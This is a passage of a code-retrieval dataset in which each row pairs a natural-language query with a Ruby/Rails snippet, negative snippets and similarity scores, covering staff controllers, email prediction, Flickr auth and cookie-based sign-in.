query stringlengths 7 9.55k | document stringlengths 10 363k | metadata dict | negatives listlengths 0 101 | negative_scores listlengths 0 101 | document_score stringlengths 3 10 | document_rank stringclasses 102
values |
|---|---|---|---|---|---|---|
This method will analyze the input data set | def analyze_data
@input_dataset.each do |name, email|
domain_name = find_domain(email)
current_domain = get_current_domain(domain_name)
current_domain.learn(name, email)
end
# Generate predictions for available domains
@all_domains.each{ |key, domain| domain.generate_predictions }
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def analyse\n call_data_service\n end",
"def analyze\n format_results\n end",
"def analysis_data()\n first_destination = metro[metro.keys[0]].destination\n longest_distance = first_destination[first_destination.keys[0]]\n shortest_distance = first_destination[first_destination.keys[0]]\n ... | [
"0.6698736",
"0.62456495",
"0.6063356",
"0.6053304",
"0.5831893",
"0.57678324",
"0.57265484",
"0.57161045",
"0.571308",
"0.56958866",
"0.56859636",
"0.5654869",
"0.54866457",
"0.5465036",
"0.5460331",
"0.54529434",
"0.5451503",
"0.5444752",
"0.54111296",
"0.5394525",
"0.53845... | 0.6635677 | 1 |
This method delas with prediction of the email for the test_dataset | def predict_emails
@test_dataset.each do |test_item|
domain_name = test_item[1]
if !@all_domains.keys.include?(domain_name)
puts "Predictions for " + test_item[0] + " are - "
puts "Can not predict email for this domain as no sufficient information is available"
puts "-" * 50
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def predict_email(prediction_dataset_hash)\n prediction_dataset_hash.each do |name, domain|\n new_email = EmailObject.new(name)\n new_email.domain = domain\n if @company_email_format_hash.key? domain\n new_email.email_format = @company_email_format_hash[domain]\n puts \"Name: #{new_... | [
"0.72666794",
"0.6292248",
"0.5523002",
"0.5458794",
"0.5449138",
"0.52903825",
"0.52734655",
"0.5263463",
"0.52632195",
"0.52532196",
"0.52399546",
"0.5209294",
"0.5199297",
"0.5182728",
"0.5140347",
"0.5114153",
"0.51017815",
"0.50968677",
"0.5087228",
"0.5047437",
"0.50361... | 0.79541194 | 0 |
Utility method to disply email statistics per domain | def display_info
@all_domains.each do |key, domain|
puts "Domain : " + domain.domain_name
puts domain.email_statistics.inspect
puts "*" * 80
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def author_mails\n messages = 0\n simplelist = {}\n \n @senders.each do |name, value|\n simplelist[name] = value.mails.length unless value.mails.empty?\n end\n \n # sort the list (from largest to lowest)\n sortedlist = simplelist.sort {|a,b| b[1] <... | [
"0.6378414",
"0.6178746",
"0.5926319",
"0.5869185",
"0.5860467",
"0.5765983",
"0.57480663",
"0.5730764",
"0.5622085",
"0.5621158",
"0.56165785",
"0.5551159",
"0.55336493",
"0.5525953",
"0.5525625",
"0.55167633",
"0.548213",
"0.5474965",
"0.5469615",
"0.5460873",
"0.54420084",... | 0.78426826 | 0 |
GET /staffers GET /staffers.json | def index
if choice_hash = get_selected_status_staffer
@clean_choice_hash = {}
@view_mode = choice_hash[:view_mode]
choice_hash.each do |key, value|
@clean_choice_hash[key] = value if !value.nil? && value != "" && key != :view_mode
end
divided_hash = choice_hash_divider(@clean... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @staff = Staff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @staff }\n end\n end",
"def show\n @admin_staff = Admin::Staff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.... | [
"0.70647734",
"0.68433356",
"0.65701205",
"0.6507562",
"0.64634645",
"0.64389193",
"0.64389193",
"0.64389193",
"0.6437462",
"0.6414409",
"0.6286117",
"0.62540257",
"0.62229216",
"0.62106",
"0.61955965",
"0.6163076",
"0.6162135",
"0.6153281",
"0.6136173",
"0.6131717",
"0.61188... | 0.0 | -1 |
GET /staffers/1 GET /staffers/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @staff = Staff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @staff }\n end\n end",
"def show\n @admin_staff = Admin::Staff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.... | [
"0.7314054",
"0.7067929",
"0.6693505",
"0.66473174",
"0.65307754",
"0.65253484",
"0.6493696",
"0.6461611",
"0.6437628",
"0.64214593",
"0.64214593",
"0.64214593",
"0.6402152",
"0.635162",
"0.6294312",
"0.62837744",
"0.6282778",
"0.6239636",
"0.62122846",
"0.6205094",
"0.617886... | 0.0 | -1 |
Go to the CSV importing page | def import_page
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def import_csv\n\n step_names = [_('Import_CDR'), _('File_upload'), _('Column_assignment'), _('Column_confirmation'), _('Select_details'), _('Analysis'), _('Fix_clis'), _('Create_clis'), _('Assign_clis'), _('Import_CDR')]\n params[:step] ? @step = params[:step].to_i : @step = 0\n @step = 0 if @step > step... | [
"0.66288394",
"0.63776064",
"0.6369475",
"0.63621986",
"0.6268087",
"0.61864954",
"0.61279005",
"0.5967005",
"0.59646404",
"0.59410244",
"0.59377974",
"0.5913065",
"0.5902967",
"0.5889467",
"0.5870822",
"0.58649987",
"0.5814225",
"0.57738954",
"0.5771321",
"0.57480466",
"0.57... | 0.6246784 | 5 |
POST /staffers POST /staffers.json | def create
@staffer = Staffer.new(staffer_params)
respond_to do |format|
if @staffer.save
format.html { redirect_to @staffer, notice: 'Staffer was successfully created.' }
format.json { render :show, status: :created, location: @staffer }
else
format.html { render :new }
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @staff = Staff.new(params[:staff])\n\n respond_to do |format|\n if @staff.save\n format.html { redirect_to @staff.user, notice: 'Staff was successfully created.' }\n format.json { render json: @staff, status: :created, location: @staff }\n else\n format.html { rend... | [
"0.66844195",
"0.6681289",
"0.6639816",
"0.6639816",
"0.6639816",
"0.6639816",
"0.6639816",
"0.6617713",
"0.6568967",
"0.6532454",
"0.64528024",
"0.63701373",
"0.6194385",
"0.6183508",
"0.6143275",
"0.61353594",
"0.60927415",
"0.60655785",
"0.5998231",
"0.59771913",
"0.588096... | 0.5368664 | 86 |
PATCH/PUT /staffers/1 PATCH/PUT /staffers/1.json | def update
respond_to do |format|
if @staffer.update(staffer_params)
format.html { redirect_to @staffer, notice: 'Staffer was successfully updated.' }
format.json { render :show, status: :ok, location: @staffer }
else
format.html { render :edit }
format.json { render json... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @staff = Staff.find(params[:id])\n\n respond_to do |format|\n if @staff.update_attributes(params[:staff])\n format.html { redirect_to @staff, notice: 'Staff was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n ... | [
"0.71583354",
"0.70071167",
"0.69903517",
"0.6978705",
"0.6978705",
"0.6978705",
"0.6978705",
"0.6946177",
"0.69438004",
"0.678095",
"0.67602515",
"0.6676746",
"0.6518186",
"0.6477397",
"0.6433821",
"0.64120257",
"0.6361296",
"0.63479155",
"0.63228124",
"0.6290264",
"0.628415... | 0.5808366 | 82 |
DELETE /staffers/1 DELETE /staffers/1.json | def destroy
@staffer.destroy
respond_to do |format|
format.html { redirect_to staffers_url, notice: 'Staffer was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @staff = Staff.find(params[:id])\n @staff.destroy\n\n respond_to do |format|\n format.html { redirect_to staffs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @staffer = Staffer.find(params[:id])\n @staffer.destroy\n\n respond_to do |format|\n for... | [
"0.74663043",
"0.74247545",
"0.7371893",
"0.7270423",
"0.72652054",
"0.72137976",
"0.72137976",
"0.72137976",
"0.72137976",
"0.72137976",
"0.72137976",
"0.7178803",
"0.715531",
"0.7118765",
"0.70872194",
"0.69914174",
"0.6967377",
"0.69599086",
"0.69468117",
"0.68971485",
"0.... | 0.7018463 | 15 |
Step 1 of Staffer Scraper Starts Here | def cs_starter_btn
@staffer_service.delay.cs_starter
# @staffer_service.cs_starter
# redirect_to staffers_path
redirect_to admin_developer_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def single_scrape\n next_page()\n save_page()\nend",
"def scrape\n end",
"def scrape()\n scrapeForCurrentData\n end",
"def scrape_it\n \n end",
"def initiate\n Scraper.initiate_scrape\n puts \"\\n\\nWelcome to Today on Crowder! To exit type 'exit'.\"\n list_articles\n end",
... | [
"0.7475743",
"0.7358535",
"0.71878994",
"0.717982",
"0.6822501",
"0.6652271",
"0.644792",
"0.6432372",
"0.63589704",
"0.62337697",
"0.61967355",
"0.6191796",
"0.6133234",
"0.6133234",
"0.6114535",
"0.60958713",
"0.60819215",
"0.605016",
"0.59951824",
"0.59944636",
"0.5978252"... | 0.0 | -1 |
========== Temporary/Power Button ========== | def staffer_power_btn
# @staffer_service.fname_cleaner
# @staffer_service.delay.fname_cleaner
redirect_to indexers_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def manage_buttons\n bootup\n @@pin=PiPiper::Pin.new(:pin => 23, :pull => :up)\n @@led=PiPiper::Pin.new(:pin => 18, :direction => :out)\n @@led.on\n @@t=Time.now\n PiPiper.watch :pin => 23,:trigger => :falling , :pull => :up do\n #puts \"Button pressed changed from #{last_value... | [
"0.651218",
"0.64994556",
"0.6406368",
"0.63424975",
"0.63373196",
"0.62067217",
"0.6188758",
"0.6150263",
"0.61316544",
"0.61131936",
"0.6085142",
"0.6076096",
"0.6061068",
"0.60238713",
"0.6004417",
"0.5988228",
"0.59766877",
"0.5973356",
"0.5963675",
"0.59359926",
"0.59091... | 0.0 | -1 |
Use callbacks to share common setup or constraints between actions. | def set_staffer
@staffer = Staffer.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.6165152",
"0.60463154",
"0.59467196",
"0.5917112",
"0.5890387",
"0.58345735",
"0.57773316",
"0.56991524",
"0.56991524",
"0.565454",
"0.5622282",
"0.54232633",
"0.54119074",
"0.54119074",
"0.54119074",
"0.53937256",
"0.53801376",
"0.5358599",
"0.53412294",
"0.5340814",
"0.5... | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def staffer_params
params.require(:staffer).permit(:staffer_status, :cont_status, :cont_source, :sfdc_id, :sfdc_sales_person, :sfdc_type, :sfdc_cont_id, :staffer_date, :created_at, :updated_at, :sfdc_tier, :domain, :acct_name, :street, :city, :state, :zip, :fname, :lname, :fullname, :job, :job_raw, :phone, :email, ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n... | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",... | 0.0 | -1 |
Get dropdown option list from Dashboard | def set_option_list
@staffer_status_opts = ordered_list(grap_item_list("staffer_status"))
@cont_source_opts = ordered_list(grap_item_list("cont_source"))
@sfdc_type_opts = ordered_list(grap_item_list("sfdc_type"))
@sfdc_tier_opts = ordered_list(grap_item_list("sfdc_tier"))
@sfdc_sales_person_opts = ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def select_list\n @browser.div(:class => \"select-list\")\n end",
"def get_listbox_data\n @countries = current_user.company.countries.dropdown_list\n @sectors = current_user.company.sectors.order(:sector)\n @rel_types = current_user.company.rel_types.dropdown_list\n @relationgroups = current_user... | [
"0.6835854",
"0.67960787",
"0.667342",
"0.64858246",
"0.64732355",
"0.64732355",
"0.6425896",
"0.6414983",
"0.63867337",
"0.6367152",
"0.63373137",
"0.63302886",
"0.62993145",
"0.62915266",
"0.62879467",
"0.62411034",
"0.62393475",
"0.6231239",
"0.62099975",
"0.6202419",
"0.6... | 0.0 | -1 |
Users should hit this method to get the link which sends them to flickr | def auth
# A short howto for web flow authentication on the flickr website.
# This would live inside a rails controller or alternative framework equivalent
# Error handling left out for clarity :-)
# Added by Darren Greaves (https://github.com/boncey/)
#
# You need an API key first, see http://w... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def flickr_url\n get_url(:flickr)\n end",
"def link() url; end",
"def link() url; end",
"def geturl() \n\t\treturn self.response.geturl()\n end",
"def url() \n\t #'http://' << ENV['DOMAIN'] << \n\t '/' << self.author.username.to_s << '/' << self.name.to_s\n end"... | [
"0.75345695",
"0.66506773",
"0.66506773",
"0.6506901",
"0.6413511",
"0.6384365",
"0.6384365",
"0.6384365",
"0.6384365",
"0.6384365",
"0.6359673",
"0.6354641",
"0.6354641",
"0.63477504",
"0.63460004",
"0.6331651",
"0.6328531",
"0.63261485",
"0.6316418",
"0.62646925",
"0.626469... | 0.59484786 | 72 |
allow anyone with a registered identity through | def authenticate!
if current_identity
true
else
respond_to do |format|
format.html do
store_location
redirect_to main_app.new_session_path
end
format.json do
render status: 403, nothing: true
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def authorize_me\n authorize_ip_address(Fog::CurrentMachine.ip_address)\n end",
"def authorized_by(user)\n user.id == self.id\n end",
"def authenticate_inviter!\n can?(:invite, :users) ? current_user : raise(CanCan::AccessDenied)\n end",
"def set_user\n @user = User.find(params[:id... | [
"0.67807907",
"0.64032173",
"0.6289968",
"0.6249597",
"0.62084407",
"0.62040794",
"0.6131755",
"0.6129672",
"0.6120002",
"0.60731095",
"0.6072267",
"0.6066083",
"0.6027134",
"0.60122395",
"0.6002603",
"0.60014445",
"0.59988403",
"0.59958345",
"0.59958345",
"0.59820116",
"0.59... | 0.0 | -1 |
confirm that the current_user has completed registration | def check_registration!
if current_user
true
else
respond_to do |format|
format.html do
store_location
redirect_to main_app.register_path
end
format.json do
render status: 403, nothing: true
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def completed_registration\n if user_signed_in?\n unless current_user.has_role?('admin') || request.fullpath =~ /sign_out/ || current_user.needs_update_email?\n redirect_to new_setup_fee_payment_payments_url unless current_user.is_setup_fee_paid?\n end\n end\n end",
"def check... | [
"0.75691116",
"0.75672626",
"0.7478865",
"0.72727275",
"0.7237261",
"0.7237261",
"0.71735036",
"0.7116233",
"0.7075501",
"0.702978",
"0.6991853",
"0.6960032",
"0.6949381",
"0.69296944",
"0.69110715",
"0.6883626",
"0.68409216",
"0.68313897",
"0.68270695",
"0.6812281",
"0.67954... | 0.6443554 | 39 |
allow only highaccesslevel staff through | def authorize!
if current_user && current_user.clearance_level > 1
return true
else
respond_to do |format|
format.html do
redirect_to main_app.new_session_path
end
format.json do
render status: 403, nothing: true
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def limit_to_staff\n authenticate_user!\n unless current_user.admin?\n raise ActionController::RoutingError.new('Not Found')\n end\n end",
"def access_control\n \n end",
"def restrict_access\t\n\t\tif current_user.owner == false\n\t\t\tredirect_to user_path(current_user), notice: \"You can't... | [
"0.73933023",
"0.7372304",
"0.73156905",
"0.712179",
"0.70734394",
"0.698499",
"0.69737774",
"0.6891817",
"0.6873401",
"0.6867084",
"0.6864818",
"0.6864818",
"0.6864818",
"0.6834146",
"0.68230444",
"0.6814285",
"0.6809285",
"0.6797054",
"0.6776147",
"0.6773723",
"0.67674035",... | 0.0 | -1 |
store this id's token in permanent cookies | def sign_in identity
cookies.permanent[:auth_token] = identity.token
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def stash_cookie\n cookies[self.class.els_options['cookie']] = {\n :value => @els_identity.token_id,\n :domain => request.env[\"SERVER_NAME\"],\n :path => '/',\n :expires => Time.now + 24.hours\n }\n end",
"def store_session_id(id, expires_at)\n cookies.encrypted[QuoVadis.cookie... | [
"0.79700005",
"0.75192446",
"0.7382966",
"0.72930145",
"0.7067934",
"0.70603776",
"0.70507216",
"0.7046876",
"0.7044328",
"0.70387053",
"0.7033191",
"0.7026157",
"0.7016595",
"0.69901305",
"0.69869065",
"0.69712603",
"0.69552755",
"0.6900015",
"0.68863046",
"0.6829096",
"0.68... | 0.73102385 | 3 |
delete auth cookie and clear session variables | def sign_out
cookies.permanent[:auth_token] = nil
session[:scope_id] = session[:scope_type] = session[:redirect] = nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delete_cookie\n cookies.delete :auth_token\n end",
"def clear_cookies\n \tcookies.delete(:auth_token)\n end",
"def uncookie_user\n cookies.delete :auth, :domain => site_domain\n end",
"def destroy\n\t\tcookies.delete(:auth_token)\n\t\tredirect_to root_url\n\tend",
"def destroy_auth\n\t\ts... | [
"0.84807986",
"0.8446553",
"0.8192378",
"0.80123425",
"0.79486746",
"0.78979635",
"0.7838374",
"0.78268737",
"0.78166115",
"0.77842396",
"0.777908",
"0.77539307",
"0.77516395",
"0.7715553",
"0.7696394",
"0.768246",
"0.7668915",
"0.766485",
"0.76513517",
"0.76513517",
"0.76435... | 0.8075987 | 3 |
find the identity for stored auth token, and return its Person | def current_user
token_locations = [cookies[:auth_token], ENV['DANGEROUS_AUTH_HACK'], params[:auth_token]]
token = token_locations.find{|x| !x.blank? }
if token
Identity.includes(:person).find_by(token: token).try(:person)
else
nil
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_identity\n @identity = Identity.find_omniauth(omniauth) if omniauth\n end",
"def find_by_omniauth(auth)\n identity = User::Identity.find_by(provider: auth.provider, uid: auth.uid)\n identity.user if identity\n end",
"def current_identity\n token_locations = [cookies[:auth_to... | [
"0.7214679",
"0.69668347",
"0.67976224",
"0.6758307",
"0.6707899",
"0.6683732",
"0.6610043",
"0.66037196",
"0.6600351",
"0.6463148",
"0.64447874",
"0.6420363",
"0.6420111",
"0.6405338",
"0.6327815",
"0.63223",
"0.62968445",
"0.6286387",
"0.62045294",
"0.61802435",
"0.6173202"... | 0.7381393 | 0 |
find the identity for stored auth token, and return it | def current_identity
token_locations = [cookies[:auth_token], ENV['DANGEROUS_AUTH_HACK'], params[:auth_token]]
token = token_locations.find{|x| !x.blank? }
if token
Identity.find_by(token: token)
else
nil
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def current_user\n token_locations = [cookies[:auth_token], ENV['DANGEROUS_AUTH_HACK'], params[:auth_token]]\n token = token_locations.find{|x| !x.blank? }\n if token\n Identity.includes(:person).find_by(token: token).try(:person)\n else\n nil\n end\n end",
"def get_user_id_from_token\n... | [
"0.7573244",
"0.748945",
"0.7443836",
"0.7268389",
"0.7238399",
"0.7206191",
"0.7125901",
"0.71015173",
"0.7092774",
"0.7074984",
"0.70205945",
"0.70193464",
"0.69793624",
"0.6950811",
"0.69132626",
"0.6892778",
"0.6787417",
"0.6762496",
"0.67287964",
"0.67101467",
"0.6699244... | 0.8133635 | 0 |
remember where the user was trying to go when they hit the auth wall | def store_location
session[:redirect] = request.url
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def store_last_location\r\n session[:return_to] = request.referer unless URI(request.referer).path == \"/passwords\"\r\n end",
"def remember_me; end",
"def store_location\n # store last url - this is needed for post-login redirect to whatever the user last visited.\n return unless request.get? ... | [
"0.6734109",
"0.6470547",
"0.6444092",
"0.6404288",
"0.63910186",
"0.63910186",
"0.63910186",
"0.63910186",
"0.63910186",
"0.63910186",
"0.63801205",
"0.6316672",
"0.6272339",
"0.62716854",
"0.62496835",
"0.61711913",
"0.61711913",
"0.61672086",
"0.61672086",
"0.61672086",
"0... | 0.0 | -1 |
parsed querystring requestenvironment or identifier > Hash | def q
@q ||= HTTP.parseQs qs[1..-1]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def extract_request_query_string\n \n result = {}\n\n if request.query_string.length > 0\n result.store(:params, Hash[request.query_string.split('&').map {|x| x.split('=')}])\n end\n\n return result\n\n end",
"def extract_query_or_route_params_from(rack_request)\n Rack::Util... | [
"0.7641222",
"0.6981385",
"0.69306177",
"0.6875804",
"0.6714085",
"0.66905576",
"0.6625081",
"0.6576185",
"0.6482924",
"0.6476796",
"0.6412756",
"0.6387332",
"0.6353503",
"0.6353503",
"0.6351006",
"0.6327477",
"0.6279425",
"0.6249094",
"0.62087584",
"0.6183086",
"0.61771977",... | 0.0 | -1 |
unparsed querystring requestenvironment or identifier > String | def qs
if @r && @r['QUERY_STRING'] && !@r['QUERY_STRING'].empty?
'?' + @r['QUERY_STRING']
elsif query && !query.empty?
'?' + query
else
''
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def query_parameters_string\n request.filtered_env[\"rack.request.query_string\"]\n end",
"def query_string\n @env['QUERY_STRING'].present? ? @env['QUERY_STRING'] : (@env['REQUEST_URI'].split('?', 2)[1] || '')\n end",
"def query_string \n headers[\"QUERY_STRING\"]\n end",
"def extract_request... | [
"0.7279129",
"0.694335",
"0.66754663",
"0.6632028",
"0.6625194",
"0.6594089",
"0.6527345",
"0.65023726",
"0.64755",
"0.62855524",
"0.6260344",
"0.62406486",
"0.6218334",
"0.6096155",
"0.60788685",
"0.60297775",
"0.6024987",
"0.6018415",
"0.5982556",
"0.59712076",
"0.5955234",... | 0.0 | -1 |
Activates the user in the database. | def activate!
@activated = true
self.activated_at = Time.now.utc
self.activation_code = nil
save(false)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def activate\r\n Marketplace::Database.instance.delete_deactivated_user(self)\r\n Marketplace::Database.instance.add_user(self)\r\n Marketplace::Activity.create(Activity.USER_REACTIVATE, self, \"#{self.name} has been reactivated\")\r\n end",
"def activate_user(user_id)\n post(\"/users/#{us... | [
"0.7746603",
"0.77337503",
"0.750554",
"0.74590904",
"0.7389596",
"0.73547816",
"0.7308838",
"0.72856855",
"0.7264758",
"0.72618395",
"0.7260988",
"0.7222055",
"0.72197217",
"0.7215781",
"0.72018164",
"0.7118911",
"0.7095531",
"0.70851445",
"0.7053755",
"0.704818",
"0.703194"... | 0.6632124 | 89 |
Returns true if the user has just been activated. | def recently_activated?
@activated
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def activated?\n self.user && self.user.activated?\n end",
"def recently_activated?\n @activated\n end",
"def recently_activated?\n @activated\n end",
"def recently_activated?\n @activated\n end",
"def recently_activated?\n @activated\n end",
"def recently_... | [
"0.8278445",
"0.7811255",
"0.7804421",
"0.77786446",
"0.77786446",
"0.7754858",
"0.7734072",
"0.77287227",
"0.768706",
"0.76713234",
"0.7669516",
"0.76153517",
"0.75910157",
"0.7527221",
"0.74943167",
"0.7463635",
"0.7388031",
"0.7325728",
"0.72823155",
"0.7257579",
"0.718372... | 0.7653494 | 61 |
PUT create or update | def update
parse_path
validate_path!
if params.include?(:dir)
@path.mkdir
elsif params.include?(:file)
@path.mv_from(params[:file].tempfile)
elsif params.include?(:touch)
@path.touch
else
content = request.body.read
# forcing utf-8 because File.write seems to requ... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n put :update\n end",
"def put!\n request! :put\n end",
"def put(*args)\n request :put, *args\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/... | [
"0.7570458",
"0.743329",
"0.73420745",
"0.7336321",
"0.72135407",
"0.71617454",
"0.71617454",
"0.71499276",
"0.7131502",
"0.7131502",
"0.710507",
"0.7099757",
"0.7061044",
"0.7060934",
"0.7060934",
"0.6970671",
"0.6970671",
"0.69695646",
"0.6930114",
"0.6893159",
"0.68778056"... | 0.0 | -1 |
Give us an endpoint to use for 404 content in the ember app | def not_found_body
# Don't show google search if it's embedded in the Ember app
@hide_google = true
render text: build_not_found_page(200, false)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def not_found\n respond_with 404\n end",
"def not_found\n respond_with 404\n end",
"def render_404\n raise ActionController::RoutingError.new('Not Found')\n end",
"def response_not_found\n render status: 404,\n json: {\n source: {\n pointer: request.original_url\n ... | [
"0.77553743",
"0.7721129",
"0.7686311",
"0.75590396",
"0.7487951",
"0.7486801",
"0.74405473",
"0.74403435",
"0.74357337",
"0.74179083",
"0.74100685",
"0.7406697",
"0.7406697",
"0.7406697",
"0.7406697",
"0.7406697",
"0.7406697",
"0.73966974",
"0.73915714",
"0.73914224",
"0.738... | 0.0 | -1 |
If item is an array, join string with ", " otherwise just to_s | def to_joined_str (item)
if (item.class == Array) then
item.join(", ")
else
item.to_s
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_s\n multiple ? value.map(&:to_s).join(', ') : value.to_s\n end",
"def to_s\n @items.join( _separator )\n end",
"def array_to_string(arr)\n arr.map { |e| \"'#{sanitize(e)}'\" }.join(\",\")\n end",
"def to_s\n return super unless elements\n elements.map(&:to_s).join(\" ... | [
"0.77873564",
"0.7587449",
"0.74500114",
"0.7406681",
"0.739485",
"0.73579174",
"0.73572314",
"0.73042065",
"0.73010904",
"0.7183176",
"0.7083203",
"0.702665",
"0.7015562",
"0.7000617",
"0.7000617",
"0.6988771",
"0.6988771",
"0.6988771",
"0.6962255",
"0.6942039",
"0.691923",
... | 0.86900365 | 0 |
Returns the first nonnil item in list | def one_of(*args)
args.each {|x|
return to_joined_str(x) if x
}
""
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def first_or_nil(lst)\n return nil if lst.nil?\n lst.first\nend",
"def list_first(list)\n list.head.data unless list.head.nil?\nend",
"def first ; list.first ; end",
"def first\n items.compact.first\n end",
"def get_first\r\n # if the list is empty, head is nil\r\n if @head.nil?\r\n r... | [
"0.8205444",
"0.7963704",
"0.77388144",
"0.77289563",
"0.7507509",
"0.72520816",
"0.71937877",
"0.71926326",
"0.7102429",
"0.7039183",
"0.7038104",
"0.6933058",
"0.68804455",
"0.6855047",
"0.68507206",
"0.6807367",
"0.6781974",
"0.676597",
"0.6745924",
"0.6701366",
"0.6701091... | 0.0 | -1 |
Routine to dump the Mash object | def dump2(m, k, level, path)
indent_str = 1.upto(level).map{|x| " "}.join
indent_str = level.to_s + indent_str
if (m) then
if (m.is_a?(Hashie::Mash)) then
puts "#{indent_str} #{k} {"
m.keys.each{|item|
dump2(m[item], item, level + 1, path.push(item))
}
puts "#{indent_str} }"... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _dump() end",
"def dump() end",
"def _dump\n end",
"def _dump()\n #This is a stub, used for indexing\n end",
"def _dump\n self.contents\n end",
"def dump\n do_dump(0)\n end",
"def marshal_dump\n dump\n end",
"def dump(object)\n dumper(object).dump\n end",
"def... | [
"0.79665536",
"0.7958062",
"0.7672521",
"0.72522897",
"0.71427923",
"0.71311015",
"0.70956784",
"0.70875776",
"0.7038989",
"0.69716585",
"0.6863247",
"0.68596065",
"0.68154794",
"0.67810833",
"0.6732422",
"0.6728512",
"0.67258066",
"0.67238075",
"0.670815",
"0.6699547",
"0.66... | 0.0 | -1 |
it "can list its full name" do emilia = Actor.new(:first_name => "Emilia", :last_name => "Clarke") emilia.save emilia.reload expect(emilia.full_name).to eq("Emilia Clarke") end | def full_name
name = "#{self.first_name} #{self.last_name}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_student_name_update()\n @student.name = \"Harry\"\n assert_equal(\"Harry\", @student.name())\n end",
"def test_update_student_name\n assert_equal(\"Joseph\", @student.get_name)\n @student.set_name(\"Mary\")\n assert_equal(\"Mary\",@student.get_name)\n end",
"def test_myxomops_debacle\... | [
"0.72548527",
"0.68476975",
"0.6748143",
"0.67455167",
"0.67031276",
"0.66768384",
"0.660822",
"0.65765005",
"0.6545026",
"0.6495732",
"0.646597",
"0.6389068",
"0.6362199",
"0.6362199",
"0.6351165",
"0.63102126",
"0.6303685",
"0.6301322",
"0.6286316",
"0.626925",
